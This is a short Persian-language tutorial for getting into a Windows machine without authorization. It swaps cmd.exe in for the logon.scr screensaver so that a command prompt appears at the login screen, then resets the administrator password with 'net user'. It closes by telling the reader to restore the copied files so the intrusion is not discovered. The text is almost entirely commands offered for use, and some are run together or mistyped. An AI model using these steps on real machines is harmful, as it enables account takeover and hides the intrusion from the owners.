این دستور شما را به شاخه system 32 راهنمایی می کند. cd/windows/system 32 فولدر temph را برای شما ایجاد می کند. mkdir temph

یک فایل Back up (پشتیبان) از فایل logon.scr ایجاد می کند. copy logon.scr temph/ logon.scr

یک فایل پشتیبان از cmd.exe ایجاد می کند. copy cmd.exe temph/ cmd.exe

del logon.scr

فایل cmd.exe رابه logon.scr تغییر نام می دهد. rename cmd.exe logon.scr

exit

کاری که شما انجام داده اید از این قرار است که یک فایل پشتیبان از برنامه commond و screen saver تهیه کرده سپس کاری کرده اید که زمانیکه ویندوز screen saver را فراخوانی می کند یک پنجره حفاظت نشده dos prompt در برابر شما ظاهر می شود.

به محض ظاهر شدن این پنجره دستور داخل گیومه را وارد کنید.

net user<نام Admin را اینجا قرار دهید>password

مثلاً اگر نام Admin کلمه Ali باشد و شما 123456 password را می خواهید کافیست تایپ کنید.

"net user Ali 123456"

این عمل رمز عبور را به 123456 تغییر می دهد.

نکته: به خاطر داشته باشید که محتویات temph را دوباره به شاخه system 32 برگردانید تا نفوذ شما لو نرود.